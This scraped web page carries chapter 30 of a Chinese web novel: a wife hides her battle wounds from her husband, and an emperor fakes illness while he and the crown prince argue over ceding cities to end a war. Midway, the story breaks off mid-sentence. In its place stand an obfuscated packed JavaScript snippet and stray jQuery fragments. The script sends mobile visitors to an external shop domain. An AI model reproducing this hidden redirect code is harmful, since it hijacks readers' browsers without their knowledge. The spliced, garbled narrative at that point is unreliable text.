文趣网 > 其他小说 > 遇良缘:携夫君封侯 > 30. 和谈条件
    “你回来了,衣服怎么换了?”

    他皱皱鼻子,“什么味儿?你受伤了?伤哪儿了?给我看看。”

    “无碍,先回去。”

    朱兆和停止乱摸的手,憨呆呆道:“对对,先回院子,走走,回去再说,回去再说。回来就好,回来就好。”

    回到院子,朱兆和一把抱住面前的女子,慌乱的内心有了安稳的迹象。

    一股强烈的药味袭来,他伸手要剥人的衣裳。

    沈京墨捉住他的手,“无碍。”

    朱兆和挣开她的手,继续动作。

    再次被人制止住,那双平日里不着调的眸子里,晕满了怒意,“你做什么,我看看伤哪儿了。”

    “已经上药包扎,不妨事。”

    再次被捉住手腕,朱兆和怒了,眼睛里都是小火苗。

    他闻到了很重的伤药味,这人还特意换了衣物,想必受了不轻的伤,他咬牙,“我生气了。”

    “伤口可怖,会吓着你。”

    “啊啊啊啊啊啊!我是男人,你才是女人!”

    “哎。”沈京墨松开了手,任由人剥开衣裳,查看身上的伤口。

    肩上、背上、大腿、手臂、腰上,各处都有包扎的痕迹,有些浅一些的没有包扎,只涂了药。

    露出来的肌肤上,布满了深浅不一的伤口。

    胸前、背后、四肢上,还有大片大片的淤青。

    身上“花花绿绿”一片,朱兆和从未见过这么严重的伤势,动作顿在原处,一时忘记了动作。

    沈京墨在他面前,一直是强悍的存在。

    这么强悍的女人,他从未见过她受到这么多的伤。

    “吓着了吧?看着吓人了些,受了些皮肉之苦,好在未伤筋动骨。”

    沈京墨要穿上衣服,被人抱进了一个不是很宽阔,但是很温暖的怀抱里。

    朱兆和想要紧紧地抱住她,又害怕伤着她,只得轻轻将人环住。

    “这些疤痕,我会想办法去掉。”

    “都什么时候了,还在乎那点疤。”

    朱兆和感觉怀里的身子有些滚烫,“你先躺下休息,我找大夫来给你好好看看伤。”

    沈京墨担心一身血迹斑斑会吓着府里的人,回府之前,找了个药铺包扎了伤口,换了一身干净的衣裳。

    饶是她精力旺盛,经过这一来一往,又重伤在身,也出现了乏力发热的迹象。

    “不必兴师动众,已经上过药,泠鸢有抓了药带回来,你自己玩一会儿,我先睡一会儿。”

    声音逐渐变低,转眼间昏睡了过去。

    朱兆和看着昏睡中的人,就这么趴在床边看着。

    两人奉旨成婚,都在想着如何与对方相处,如何将日子过下去。

    从前一直强悍的人,如今这么安安静静躺在那里,他十分不习惯。

    抓过女子骨感有力的手腕,放在脸颊旁蹭了蹭,“媳妇儿,以后别再受伤了。”

    皇宫内,盛帝躺在龙榻上,浑身乏力,连抬手都十分地费劲。

    他看向床边站着的青年男子,眼里满是指责。

    “你不是说,那个药只会让朕看起来虚弱,咳嗽不止,咳血之症也是假象,实则不会有任何影响吗?近日来,朕觉着身子越发疲倦乏力,是因何?”

    张太医扑通一声跪倒在地,哆哆嗦嗦解释道:“启禀圣上,此药确实只会令圣上看起来病得很严重,不会损伤根基。陛下长期久卧,浑身乏力实乃正常现象。久卧会导致气血不畅,从而感觉到乏力昏沉。等来日服了解药,休息几日,陛下龙体就能恢复了。”

    “若是稍有差池,小心你脖子上的脑袋。”

    “陛下饶命,微臣不敢。”张太医战战兢兢跪在地上,磕头告饶。

    “嗯,下去吧。此事勿要让任何人知道,否则。”

    “是,微臣定当守口如瓶。”

    张公公见人退出了房间,一脸担忧,“陛下,即使需要龙体抱恙,也务须真的服药啊,是药三分毒,若是伤着了龙体,可如何是好?”

    “做戏做全套,朕在位之年,必须社稷安定。”

    张公公眼底布满担忧,端过床头柜上晾着的参汤,“陛下,喝几口参汤补补身子。”

    盛帝躺在床上,每日里不用上朝处理政事,也不用给后宫里那群莺莺燕燕“断案”,自觉着悠闲自在得很。

    吃着昂贵的补品,盛帝想着,若是能一直这么安稳下去,也挺好。

    可惜啊,生为帝王,他没有任性的资本。

    稍微松懈,就可能权力旁落。

    如今两儿子争斗不断,他倒是可以趁此机会好好歇一歇。

    不怕他们斗,就怕他们拧成一股绳。

    外面传来小太监的声音,太子萧承稷求见。

    盛帝挥挥手,张公公会意,将人扶着躺下。

    等一切准备就绪,这才唤人进来。

    “儿臣拜见父皇。”

    “嗯,平身吧。”

    盛帝脸色苍白,满脸倦色,呼吸紧促,时不时呛咳几声。

    “张公公,到底怎么回事,父皇怎么一点好转的迹象也没有,瞧着还严重了些,这些太医都是死的吗?”

    萧承稷满脸的怒意,“一群庸医,只会拿俸禄,若是再治不好父皇,全拖出去砍了。父皇乃天子,受上天庇佑,我还不信了,这么大个盛国,没有一人能够治好父皇的身体。”

    盛帝看着满脸怒意的儿子,这个儿子,不管是装出来的孝心,还是真心,令他内心也感受到了一丝的熨帖。

    冷硬的帝王之心,也有了些松动。

    他挣扎着要坐起,太子见此,立即前去搀扶。

    “朕这身子,不过是点小毛病。过些时日,也就好了。嗯,和谈一事,办得如何了?”

    萧承稷满脸为难,跪在地上,久久不敢起来。

    “儿臣有负父王所托。”

    “怎么?他们不愿意?”

    “儿臣一直在筹办和谈一事,羌戎和谈意向很低,经过儿臣多番交涉,总算是同意了和谈。但北堂靳开出和谈的条件,实在太过分。”

    萧承稷满脸愤慨,这些羌戎人,真是给脸不要脸,太过傲慢和无耻。

    “什么条件?”

    “说,说,除非割让邻知、瞿凌、翟底、嵩飒四城,否则,绝不和谈。”

    盛帝一掌拍在床榻上,乏力的手脚因为气愤,多了少许的力气。

    一时激动,呛咳不已。

    “咳咳,欺人太甚!”

    “父皇莫要动气,儿臣会继续协商。”

    “距离使臣离京之日,不足半月,还需加快。”

    这个儿子,庸庸碌碌,难堪大用。若说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688084|206580||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    储君人选,萧元宸反而更适合一些。

    但是太过于适合,若是立为储君,他这个帝王,怕是要寝食难安。

    “父皇,使臣都已经进京,大王子是羌戎的储君,五公主据说是羌戎王最疼爱的公主,更不用说圣女也在,若是谈不成条件,不如将人直接扣下?”

    “蠢货!”盛帝一巴掌挥过去,太子稳稳接住这一巴掌,根本不敢躲避。

    “羌戎屯兵十万在两军交战之地,你还想将人扣留为质?他们名义上是来进贡朝拜,你让周边的属国如何做想?他们还敢来朝拜吗?咳咳,朕怎么就生了你这么一个夯货。咳咳。”

    盛帝气得呛咳不已,萧元宸被吼得跟个鹌鹑似的。

    “儿臣蠢笨,还需父皇多加教导。父皇莫要动气,身子要紧。父皇,喝点参汤润润嗓子。”

    他将盛帝扶坐安稳,亲自喂食补汤。

    “和谈一事有儿臣在,父皇无需担心,只需要好生休养,身子早点好起来才是。”

    盛帝眸子一沉,眼里黑嗡嗡的,挥挥手,张公公会意走出了大殿。

    “稷儿,这江山迟早是要交给你的。和谈一事,务必促成。必要时候,妥协也可。”

    萧承稷愕然,眼底的神色变幻好几瞬,“父皇,此次羌戎来势汹汹,怕是难以善了。”

    “最多,可割让邻知和瞿凌两座城池,不可再多了。邻知、瞿凌与羌戎交界,本也不是什么肥沃之地,拿着还需守卫,费力不讨好。如果再不同意,可割让翟底,这是我们盛国的底线。”

    萧承稷低垂着头,看不清眼底的神色。

    “父皇,真的要这样吗?当初,能够拿下这几座城池,十分之不易。若是割让,想再拿回来,怕是难了。”

    “稷儿,为君王者,需懂得取舍。这江山,迟早会交到你的手里,你迟早会明白朕的苦心。羌戎势强,兵强马壮,若是两国开战,没有个三五年,是打不完的。如今南方蛮夷虎视眈眈,东部夷寇一直试图挑衅。东北部与句由部落时有摩擦。北部亦不安稳。只要与羌戎开战,必将被群起而攻之。盛国无法同时抵御如此多的势力夹击。稷儿,你要明白朕的苦心。你若是促成了此次和谈一事,你将是盛国最大的功臣。”

    萧承稷面上带上笑意,“儿臣明白父皇的苦心,定当竭尽全力促成此事。”

    “稷儿,朕的两个孩子里,你是最通透的,莫要让朕失望。”

    “儿臣明白。儿臣听闻母后感染了风寒,想出宫之前去看看母后。”

    “知你母子情深,去看看吧。”

    萧承稷转身,脸上的笑意瞬间消失。

    来到钟粹宫,皇后歪在一处小榻上,正闭眼凝神。

    “见过母后,母后金安。”

    “嗯。见过他了?”

    “是。”

    “发生了什么?脸色这么难看。”皇后把玩着新做的丹蔻,看向自己的儿子。

    “我的好父皇,真是打得一手好算盘。他不想开战,又不想担了和谈的骂名,如今儿臣的名声,怕是保不住了。”萧承稷咬牙切齿,将刚刚的谈话一一告知。

    “这老东西,贪生怕死极了。当初为了拿下邻知、瞿凌、翟底、嵩飒四城,我盛国将士吃了多少苦,如今,他一句话,就要送出去?贪生怕死的孬种。那么多战士用鲜血换来的城池,他竟然轻易就想割让。”